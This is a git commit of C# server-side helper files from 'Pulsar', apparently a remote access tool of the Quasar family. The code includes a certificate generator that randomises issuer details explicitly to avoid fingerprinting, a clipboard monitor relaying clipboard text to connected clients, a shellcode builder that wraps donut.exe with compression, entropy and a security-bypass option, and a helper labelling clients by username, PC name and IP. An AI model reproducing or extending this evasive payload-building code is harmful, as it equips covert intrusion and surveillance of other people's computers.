initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+182
View File
@@ -0,0 +1,182 @@
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Operators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.OpenSsl;
using Org.BouncyCastle.Pkcs;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.X509;
using Org.BouncyCastle.X509.Extension;
using System;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Text;
namespace Pulsar.Server.Helper
{
public static class CertificateHelper
{
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength = 4096)
{
var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyStrengths = new[] { 2048, 3072, 4096 };
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var randomOrg = GenerateRandomString(random, 8, 15);
var randomLocation = GenerateRandomString(random, 5, 12);
var randomCountry = GenerateRandomCountryCode(random);
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
var CN = new X509Name(subjectString);
var serialNumberBitLength = random.Next(120, 201);
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
var validityYears = random.Next(5, 16);
var notBeforeOffsetDays = random.Next(1, 8);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(CN);
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
certificateGenerator.SetPublicKey(keypair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
// Create PKCS#12 (PFX) format with certificate and private key
var store = new Pkcs12StoreBuilder().Build();
var certificateEntry = new X509CertificateEntry(certificate);
store.SetCertificateEntry(caName, certificateEntry);
store.SetKeyEntry(caName, new AsymmetricKeyEntry(keypair.Private), new[] { certificateEntry });
// Convert to bytes
using (var ms = new MemoryStream())
{
store.Save(ms, new char[0], random); // Empty password
var pfxBytes = ms.ToArray();
// Create X509Certificate2 from PFX bytes using modern approach for .NET 9.0 AOT compatibility
return X509CertificateLoader.LoadPkcs12(pfxBytes, null, X509KeyStorageFlags.Exportable);
}
}
/// <summary>
/// Alternative method using PEM format for AOT compatibility
/// </summary>
public static X509Certificate2 CreateCertificateAuthorityFromPem(string caName, int keyStrength = 4096)
{
var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyStrengths = new[] { 2048, 3072, 4096 };
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var randomOrg = GenerateRandomString(random, 8, 15);
var randomLocation = GenerateRandomString(random, 5, 12);
var randomCountry = GenerateRandomCountryCode(random);
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
var CN = new X509Name(subjectString);
var serialNumberBitLength = random.Next(120, 201);
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
var validityYears = random.Next(5, 16);
var notBeforeOffsetDays = random.Next(1, 8);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(CN);
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
certificateGenerator.SetPublicKey(keypair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
// Convert to PEM format
string certPem, keyPem;
using (var certWriter = new StringWriter())
{
var pemWriter = new PemWriter(certWriter);
pemWriter.WriteObject(certificate);
certPem = certWriter.ToString();
}
using (var keyWriter = new StringWriter())
{
var pemWriter = new PemWriter(keyWriter);
pemWriter.WriteObject(keypair.Private);
keyPem = keyWriter.ToString();
}
// Create X509Certificate2 from PEM - this is AOT-compatible in .NET 9.0
return X509Certificate2.CreateFromPem(certPem, keyPem);
}
/// <summary>
/// Generates a completely random string to avoid fingerprinting
/// </summary>
private static string GenerateRandomString(SecureRandom random, int minLength, int maxLength)
{
var length = random.Next(minLength, maxLength + 1);
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
var result = new char[length];
for (int i = 0; i < length; i++)
{
result[i] = chars[random.Next(chars.Length)];
}
return new string(result);
}
/// <summary>
/// Generates a random 2-letter country code to avoid fingerprinting
/// </summary>
private static string GenerateRandomCountryCode(SecureRandom random)
{
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
return new string(new char[] {
chars[random.Next(chars.Length)],
chars[random.Next(chars.Length)]
});
}
}
}
+152
View File
@@ -0,0 +1,152 @@
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Pulsar.Common.Messages.Monitoring.Clipboard;
using Pulsar.Server.Networking;
using System.Diagnostics;
namespace Pulsar.Server.Helper
{
public class ClipboardMonitor : NativeWindow, IDisposable
{
private const int WM_CLIPBOARDUPDATE = 0x031D;
private Client _client;
private string _lastClipboardText = string.Empty;
private bool _isEnabled = false;
private System.Threading.Timer _pollingTimer;
private static string _lastReceivedFromClient = string.Empty;
private static DateTime _lastReceivedFromClientTime = DateTime.MinValue;
[DllImport("user32.dll", SetLastError = true)]
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool RemoveClipboardFormatListener(IntPtr hwnd);
public static void NotifyReceivedFromClient(string clipboardText)
{
_lastReceivedFromClient = clipboardText;
_lastReceivedFromClientTime = DateTime.Now;
}
public ClipboardMonitor(Client client)
{
_client = client;
CreateHandle(new CreateParams());
AddClipboardFormatListener(this.Handle);
_pollingTimer = new System.Threading.Timer(PollClipboard, null, Timeout.Infinite, Timeout.Infinite);
}
public bool IsEnabled
{
get => _isEnabled;
set
{
_isEnabled = value;
if (_isEnabled)
{
_pollingTimer.Change(0, 500);
Debug.WriteLine("Clipboard polling timer started");
}
else
{
_pollingTimer.Change(Timeout.Infinite, Timeout.Infinite);
Debug.WriteLine("Clipboard polling timer stopped");
}
}
}
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_CLIPBOARDUPDATE && _isEnabled)
{
Task.Run(() => ClipboardCheck());
}
base.WndProc(ref m);
}
private void ClipboardCheck()
{
if (!_isEnabled) return;
try
{
if (Thread.CurrentThread.GetApartmentState() == ApartmentState.STA)
{
GetAndSendClipboardText();
}
else
{
var thread = new Thread(GetAndSendClipboardText);
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join(100);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Clipboard monitor error: {ex.Message}");
}
}
private void GetAndSendClipboardText()
{
try
{
if (Clipboard.ContainsText())
{
string clipboardText = Clipboard.GetText();
if (!string.IsNullOrEmpty(clipboardText) && clipboardText != _lastClipboardText)
{
bool wasRecentlyReceivedFromClient =
_lastReceivedFromClient.Equals(clipboardText) &&
(DateTime.Now - _lastReceivedFromClientTime).TotalSeconds < 3;
if (!wasRecentlyReceivedFromClient)
{
_lastClipboardText = clipboardText;
Debug.WriteLine($"Sending clipboard text: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}...");
_client.Send(new SendClipboardData { ClipboardText = clipboardText });
}
else
{
_lastClipboardText = clipboardText;
}
}
else
{
}
}
else
{
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error getting clipboard text: {ex.Message}");
}
}
private void PollClipboard(object state)
{
if (_isEnabled)
{
ClipboardCheck();
}
}
public void Dispose()
{
RemoveClipboardFormatListener(Handle);
_pollingTimer?.Dispose();
DestroyHandle();
}
}
}
@@ -0,0 +1,35 @@
using Pulsar.Server.Utilities;
using System;
namespace Pulsar.Server.Helper
{
public static class NativeMethodsHelper
{
private const int LVM_FIRST = 0x1000;
private const int LVM_SETITEMSTATE = LVM_FIRST + 43;
private const int WM_VSCROLL = 277;
private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
public static int MakeWin32Long(short wLow, short wHigh)
{
return (int)wLow << 16 | (int)(short)wHigh;
}
public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
{
NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM
{
stateMask = mask,
state = value
};
NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem);
}
public static void ScrollToBottom(IntPtr handle)
{
NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero);
}
}
}
+174
View File
@@ -0,0 +1,174 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Collections.Generic;
using System.Windows.Forms;
using Pulsar.Server.Forms;
namespace Pulsar.Server.Helper
{
public enum EntropyLevel
{
None = 1,
Random = 2,
RandomSymmetric = 3
}
public enum Architecture
{
x86 = 1,
amd64 = 2,
Both = 3
}
public enum Format
{
Binary = 1,
Base64 = 2,
C = 3,
Ruby = 4,
Python = 5,
Powershell = 6,
CSharp = 7,
Hex = 8
}
public enum Compress
{
None = 1,
aPLib = 2,
LZNT1 = 3,
Xpress = 4
}
public enum Bypass
{
None = 1,
Abort = 2,
Continue = 3
}
public enum Headers
{
Overwrite = 1,
Keep = 2
}
public static class ShellcodeBuilder
{
public static byte[] GenerateShellcode(
string binaryPath,
string entryClass,
string entryMethod,
string outputBinPath,
bool deleteOutput = true,
string donutExePath = "",
string clrVersion = "",
EntropyLevel entropy = EntropyLevel.RandomSymmetric,
Architecture arch = Architecture.Both,
Format format = Format.Binary,
Headers headers = Headers.Overwrite
)
{
if (string.IsNullOrEmpty(donutExePath))
donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe");
if (!File.Exists(donutExePath))
throw new FileNotFoundException("donut.exe not found", donutExePath);
if (!File.Exists(binaryPath))
throw new FileNotFoundException("Input Binary not found", binaryPath);
Compress compression = GetCompressionFromForm();
Bypass bypass = GetBypassFromForm();
List<string> args = new List<string>
{
$"-e {(int)entropy}",
$"-a {(int)arch}",
$"-i {binaryPath}",
$"-c {entryClass}",
$"-m {entryMethod}",
$"-o {outputBinPath}",
$"-f {(int)format}",
$"-z {(int)compression}",
$"-b {(int)bypass}",
$"-k {(int)headers}",
};
if (!string.IsNullOrEmpty(clrVersion))
args.Add($"-r {clrVersion}");
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = donutExePath,
Arguments = string.Join(" ", args),
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
using (Process proc = Process.Start(psi))
{
proc.WaitForExit();
if (proc.ExitCode != 0)
{
string stdout = proc.StandardOutput.ReadToEnd();
string stderr = proc.StandardError.ReadToEnd();
throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}");
}
}
try
{
byte[] bytes = File.ReadAllBytes(outputBinPath);
if (deleteOutput)
File.Delete(outputBinPath);
return bytes;
}
catch (Exception ex)
{
throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}");
}
}
private static Compress GetCompressionFromForm()
{
FrmBuilder form = GetBuilderForm();
string compressionText = form.comboBox1.Text;
return ConvertCompressionTextToEnum(compressionText);
}
private static Bypass GetBypassFromForm()
{
FrmBuilder form = GetBuilderForm();
return form.checkBox2.Checked ? Bypass.Continue : Bypass.None;
}
private static FrmBuilder GetBuilderForm()
{
foreach (Form form in Application.OpenForms)
{
if (form is FrmBuilder builderForm)
return builderForm;
}
throw new InvalidOperationException("FrmBuilder form not found or not accessible");
}
private static Compress ConvertCompressionTextToEnum(string compressionText)
{
return compressionText switch
{
"None" => Compress.None,
"aPLib" => Compress.aPLib,
"LZNT1" => Compress.LZNT1,
"Xpress" => Compress.Xpress,
_ => throw new ArgumentException($"Invalid compression type: {compressionText}")
};
}
}
}
+17
View File
@@ -0,0 +1,17 @@
using Pulsar.Server.Networking;
namespace Pulsar.Server.Helper
{
public static class WindowHelper
{
public static string GetWindowTitle(string title, Client c)
{
return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.Value.PublicIP ?? c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
}
public static string GetWindowTitle(string title, int count)
{
return string.Format("{0} [Selected: {1}]", title, count);
}
}
}